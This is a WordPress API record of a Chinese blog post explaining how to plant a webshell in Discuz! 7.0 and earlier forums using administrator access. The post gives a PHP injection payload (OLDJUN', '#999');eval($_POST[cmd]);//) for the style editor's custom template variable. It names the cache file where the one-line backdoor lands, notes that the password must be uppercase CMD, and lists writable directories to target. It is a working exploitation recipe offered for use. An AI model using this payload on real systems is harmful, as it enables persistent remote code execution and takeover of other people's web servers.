{"id":105,"date":"2010-07-13T08:00:00","date_gmt":"2010-07-13T00:00:00","guid":{"rendered":"http:\/\/31.0.2.219:81\/?p=105"},"modified":"2014-03-11T14:04:56","modified_gmt":"2014-03-11T06:04:56","slug":"discuz-7-0-%e5%8f%8a%e4%bb%a5%e4%b8%8b%e7%89%88%e6%9c%ac%e5%90%8e%e5%8f%b0%e6%8b%bfwebshell","status":"publish","type":"post","link":"http:\/\/www.huike007.cn\/?p=105","title":{"rendered":"discuz! 7.0 \u53ca\u4ee5\u4e0b\u7248\u672c\u540e\u53f0\u62ffwebshell"},"content":{"rendered":"<p>\u4e0d\u9700\u8981\u521b\u59cb\u4eba\uff0c\u53ea\u9700\u8981\u7ba1\u7406\u5458\u3002<br \/>\nhttp:\/\/www.fuck.com\/admincp.php?action=styles&#038;operation=edit&#038;id=1&#038;adv=1<br \/>\n\u4e2d\uff0c\u6700\u4e0b\u9762\u6709\u4e2a\u201c\u81ea\u5b9a\u4e49\u6a21\u677f\u53d8\u91cf\u201d\uff0c\u53d8\u91cf\u4e2d\u586b\uff1a<br \/>\nPHP\u4ee3\u7801<br \/>\nOLDJUN&#39;, &#39;#999&#39;);eval($_POST[cmd]);\/\/<br \/>\n\u66ff\u6362\u5185\u5bb9\u968f\u4fbf\u8f93\u5165\uff1a1111\uff0c\u7136\u540e\u63d0\u4ea4\uff0c\u4e00\u53e5\u8bdd\u6728\u9a6c\u5c31\u4ea7\u751f\u4e86\uff1a<br \/>\nhttp:\/\/www.fuck.com\/forumdata\/cache\/style_1.php<br \/>\n\u5982\u679c\u4f60\u4fee\u6539\u7684style\u7684id\u662f2\u7684\u8bdd\uff0c\u5bf9\u4e8e\u7684shell\u5c31\u662fstyle_2.php\u3002<br \/>\n\u6ce8\uff1a\u5f88\u591a\u4eba\u53cd\u5e94\u8fde\u4e0d\u4e0a\u4e00\u53e5\u8bdd\uff1a<br \/>\nPHP\u4ee3\u7801<br \/>\n$evaluate .= $type == &#39;VAR&#39; ? &#34;\\$$key = &#39;$val&#39;;\\n&#34; : &#34;define(&#39;&#34;.strtoupper($key).&#34;&#39;, &#39;$val&#39;);\\n&#34;;<br \/>\n\u8fd9\u53e5\u8bdd\u662f\u8bf4\u6240\u6709\u7684\u53d8\u91cf\u540d\u6362\u6210\u5927\u5199\u7684\u4e86\uff01<br \/>\n\u56e0\u6b64\u8bf7\u7528\u5927\u5199\u7684CMD\u505a\u4e3a\u4f60\u4e00\u53e5\u8bdd\u7684\u5bc6\u7801\uff01<br \/>\n\u9644dz\u53ef\u5199\u76ee\u5f55\uff1a<br \/>\n?\u9644\u4ef6\u76ee\u5f55 \u9ed8\u8ba4\u662f .\/attachments<br \/>\n?\u6570\u636e\u76ee\u5f55 .\/forumdata<br \/>\n?\u7f13\u5b58\u76ee\u5f55 .\/forumdata\/cache<br \/>\n?\u6570\u636e\u76ee\u5f55 .\/forumdata\/templates<br \/>\n?\u4e3b\u9898\u7f13\u5b58\u76ee\u5f55 .\/forumdata\/threadcaches<br \/>\n?\u7f13\u5b58\u76ee\u5f55 .\/forumdata\/logs<br \/>\n?\u7f13\u5b58\u76ee\u5f55 .\/uc_client\/data\/cache<br \/>\n?\u7f13\u5b58\u76ee\u5f55 .\/uc_server\/data<br \/>\n?\u7f13\u5b58\u76ee\u5f55 .\/uc_server\/data\/cache<br \/>\n?\u7f13\u5b58\u76ee\u5f55 .\/uc_server\/data\/view<br \/>\n?\u7f13\u5b58\u76ee\u5f55 .\/uc_server\/data\/avatar<br \/>\n?\u7f13\u5b58\u76ee\u5f55 .\/uc_server\/data\/logs<br \/>\n?\u7f13\u5b58\u76ee\u5f55 .\/uc_server\/data\/backup<br \/>\n?\u7f13\u5b58\u76ee\u5f55 .\/uc_server\/data\/tmp<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4e0d\u9700\u8981\u521b\u59cb\u4eba\uff0c\u53ea\u9700\u8981\u7ba1\u7406\u5458\u3002 http:\/\/www.fuck.com\/admincp.php?action=s [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[180],"tags":[253,254],"_links":{"self":[{"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/posts\/105"}],"collection":[{"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=105"}],"version-history":[{"count":2,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/posts\/105\/revisions"}],"predecessor-version":[{"id":252,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=\/wp\/v2\/posts\/105\/revisions\/252"}],"wp:attachment":[{"href":"http:\/\/www.huike007.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=105"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=105"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.huike007.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=105"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}